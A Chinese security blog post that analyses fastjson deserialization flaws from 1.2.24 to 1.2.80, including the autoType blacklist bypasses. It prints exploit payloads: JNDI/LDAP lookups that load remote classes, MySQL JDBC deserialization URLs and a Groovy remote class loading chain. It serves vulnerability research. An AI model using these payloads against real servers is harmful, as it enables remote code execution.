fastjson学习
fastjson学习
fastjson组件可以类对象序列化成json字符串,再通过JSON.parse、JSON.parseObject等方法反序列化成类对象
序列化和反序列化
常见类型
- JSONObject
- JSONArray
简单使用
1 | User user = new User("zhangsan",12); |
总结:
- 要想反序列化后得到对应类型的类,需要使用parseObject并传入类的.class
- 同时这样生成的序列化json字符串中会带有@type属性,存储着对应的类完整包路径
- parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
- 调用toJSONString镜像序列化的时候,会调用getter
- 不指定@type不会调用构造方法和setter
- 指定@type时,parse只会调用构造方法和特定setter,而parseObject会额外调用getter
public/private属性区别
1 | public class Person { |
测试序列化与反序列化
1 | String eneity3 = "{\"@type\":\"com.example.fastjson.Person\",\"name\":\"zhang\", \"full_name\":\"zhangsan\", \"age\": 18, \"prop\": {\"123\":123}, \"sex\": 1}"; |
输出结果
1 | Person构造函数 |
从结果来看,成功通过反序列化赋值的属性只有name和age,而其中name因为是public因此可以直接赋值,full_name、sex、prop等private属性因为没有设置setter因此也赋值失败,age虽为private属性,但
public void setAge(int age)
被调用成功,因此被赋值private sex getsex函数没有被调用,private prop getprop函数被成功调用
总结:
- 反序列化赋值时,public属性直接赋值,private属性要调用setter
- getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用
parse过程
该过程中调用的setter方法要求
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对有没有这个名称的属性。
如果没有这个属性并且这个set方法的输入是一个布尔型,会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
该过程中调用的getter方法要求
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
漏洞利用
Fastjson<=1.2.24
TemplatesImpl利用链
利用条件
服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField);
这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,服务端必须添加特性才回去从json中恢复private属性的数据。
总体来说是直接反序列化TemplatesImpl,由于存在 Feature.SupportNonPublicField 设置(允许private对象传入),反序列化的过程中会调用setValue,这里会把所有属性存储到filedInfo中,到outputProperties的时候,因为它是个类,存在 method,于是进入if分支,调用方法为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
之后会调用newTransformer()
最后就是初始化类进而代码执行了
payload
恶意类
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
工具类
1 | public static String FiletoBase64(String filename) throws IOException { |
payload
1 | String shell = ClassBase64Util.FiletoBase64("./Shell.class"); |
JdbcRowSetImpl利用链
利用链分析:在设置AutoCommit属性时,调用setAutoCommit()方法,conn默认为空,进入else执行this.conn = this.connect();
conn默认为空,若this.getDataSourceName() != null则进入else if,调用至 lookup(this.getDataSourceName()
故此处存在JNDI注入,payload为:
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/badClassName", "autoCommit":true} |
1.2.25<=Fastjson<=1.2.41
利用条件
开启autoTypeSupport,影响版本1.2.25 <= Fastjson <= 1.2.41
版本分析
FastJSON1.2.24
1 | ref = lexer.scanSymbol(this.symbolTable, '"'); |
FastJSON1.2.25
1 | ref = lexer.scanSymbol(this.symbolTable, '"'); |
加载类从TypeUtils.loadClass 变成了this.config.checkAutoType
同时在1.2.25后com.alibaba.fastjson.parser.ParserConfig
类加了属性
1 | private boolean autoTypeSupport; //控制是否可进行反序列化,默认为false |
黑白名单在构造方法中赋值
反序列化中也使用了ParserConfig#checkAutoType()
,下图为com.alibaba.fastjson.parser.DefaultJSONParser中parseObject()方法
checkAutoType()中对autoTypeSupport进行判断
- 若为true则先进行白名单校验,若为白名单内则进 入TypeUtils.loadClass,后再进行黑名单校验,若在黑名单中则抛出异常(autoType is not support …),若未在黑名单中则在Map中查找类
- 若autoTypeSupport为false,则进行黑名单判断,再进行白名单判断,最后若autoTypeSupport=true, 会再一次进行判断然后进入到TypeUtils.loadClass中
com.alibaba.fastjson.util.TypeUtils#loadClass()中对[ L ;进行了处理,而其中在处理L ;的时候存在了逻 辑漏洞,可以在className的前后分别加上L ;来进行绕过
payload
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport |
payload2
利用条件
- 1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport
- 1.2.33 <= Fastjson <= 1.2.347 autoTypeSupport开启或未开启均可利用
- checkAutoType源码修改,若autoTypeSupport为true,当目标类在黑名单中,需要目标类不在map中才 会抛出异常
payload
1 | { |
其实就是传两个对象,解析两次,解析完第一个对象时会把com.sun.rowset.JdbcRowSetImpl驾到缓存map中,第二次时就可以直接获取到目标类
A的解释
在MiscCodec#deserialze()方法中,会解析strVal(对应val的值),当clazz == Class.class,调用 TypeUtils.loadClass(),此时strVal为val对应值,这样就可以把val中的类加载到缓存map(mappings)中
1
2
3 if (clazz == Class.class) { //当clazz == Class.class,调用 TypeUtils.loadClass(),此时strVal为val对应值
return TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader());
}
Fastjson = 1.2.42
利用条件
Fastjson <= 1.2.42 开启autoTypeSupport
Fastjson1.2.42将黑名单由字符串直接比对改为了HashCode。checkAutoType()中在黑名单绕过的时候 做了一个校验,如果类名以L开头,;结尾,则会用stubstring()去除类名前的第一个L,双写L即可绕过
payload
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport |
Fastjson = 1.2.43
利用条件
Fastjson <= 1.2.43开启autoTypeSupport
Fastjson <= 1.2.43,checkAutoType()对LL进行了判断,如果类以LL开头,抛出异常,但在 TypeUtils.loadClass中,还对[进行了处理,因此又可以通过[来进行绕过
TypeUtils#loadClass()
1 | if (clazz != null) { |
payload
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport |
Fastjson = 1.2.44
修复了[的绕过,在checkAutoType中进行判断如果类名以[或L开头抛出异常。L[让绕 过方法失效,可使用JSON内置payload
paylaod
1 | { |
Fastjson = 1.2.47
利用条件
1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport
1.2.33 <= Fastjson <= 1.2.32 autoTypeSupport开启或未开启均可利用
payload
1 | { |
1.2.48 <= Fastjson <= 1.2.67(要有依赖)
Fastjson1.2.48修复JSON内置绕过方法,此版本内多为针对黑名单绕过,需要相应组件才可使用
payload
<=1.2.62
1 | //依赖 |
fastjson <= 1.2.66黑名单绕过,需autoTypeSupport属性为true
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/Basic/Command/calc"} |
Fastjson = 1.2.68(要有依赖)
利用链分析
FastJSON1.2.68新引入safeMode,配置safeMode为true,黑白名单均不支持autoType,默认为false,不影 响代码调用。经过源码分析,达到以下条件则可通过ParserConfig#checkAutoType()安全校验:
expectClass为空:
- typeNmae不在denyHashCodes黑名单中(必须条件)
- SafeMode为false(必要条件,默认为false)
- typeName在TypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为
expectClass子类 expectClass不为空:
- typeNmae和expectClass均不在denyHashCodes黑名单中(必须条件)
- autoTypeSupport为false(默认为false)
- expectClass在TypeUtils#mappings中
- typeName不是ClassLoader、DataSource、RowSet的子类
- expectClass不为null,且不为Object.class、Serializable.class、Cloneable.class、
Closeable.class、EventListener.class、Iterable.class、Collection.class
- typeName是expectClass的子类
payload
命令执行
依赖
1 | <dependency> |
ServerStatusDiffInterceptor链
- 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffI nterceptor&user=yso_JRE8u20_calc 连接后需执行查询
- 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffI nterceptor&user=yso_JRE8u20_calc
- 6.x:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDif fInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
- 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInte rceptor&user=yso_JRE8u20_calc
detectCustomCollations链
- 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test? detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.41 以上 不可用
利用链分析
1 | **queryInterceptors:**一个逗号分割的Class列表(实现了 com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query"之间"进行执行来影响结 果。(效果上来看是在Query执行前后各插入一次操作) **autoDeserialize:**自动检测与反序列化存在BLOB字段中的对象。 |
detectCustomCollations链:
- <8.0.20: jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInte rceptor&user=yso_JRE8u20_calc
- 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDif fInterceptor&user=yso_JRE8u20_calc
- 5.1.11及以上的5.x版本(包名没有了cj): jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
detectCustomCollations触发: - 5.1.41及以上: 不可用
- 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test? detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.18以下的5.1.x版本: 不可用
- 5.0.x版本不可用
- 5.1.41版本后,不再使用getObject()获取”SHOW COLLATION”的结果,此链失效
ServerStatusDiffInterceptor链:
payload 5.1.11-5.1.48
1 | { |
payload 6.0.2/6.0.3
1 | { |
6.0.4中构造方法改变,此利用链无法使用
payload 8.0.19
1 | { |
文件写入读取
依赖
1 | <dependency> |
payload
1 | { |
1
2
3
4 {
"address": {
"$ref": "$.abc.BOM"
} }这里用了FastJSON的特性
"$ref"": "$.xx.yy"
表示调用JSON对象中xx的yy属性的getter。payload中即调用 abc(org.apache.commons.io.input.BOMInputStream的BOM属性,即调用BOMInputStream的 getBOM()方法。
1.2.72 < Fastjson <= 1.2.80
FastJSON1.2.80与1.2.68相比,ParserConfig#checkAutoType()添加了期望类黑名单,期望类在黑名单 中则无法加载,若期望类及目标类不在黑名单中则可使用与1.2.68类似绕过方法绕过检测。
依赖
1 | <dependency> |
payload
1 | 1.利用隐式类关系将 org.codehaus.groovy.control.org.codehaus.groovy.control.ProcessingUnit、 org.codehaus.groovy.control.CompilerConfiguration加入到maping中 {"@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{}} |
服务器配置:
新建文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation 文件内容为MyExction
http根目录放置MyExction.class
1 | import java.io.IOException; |
- 标题: fastjson学习
- 作者: Sl0th
- 创建于 : 2023-02-01 22:40:37
- 更新于 : 2024-11-11 18:23:06
- 链接: http://sl0th.top/2023/02/01/fastjson学习/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。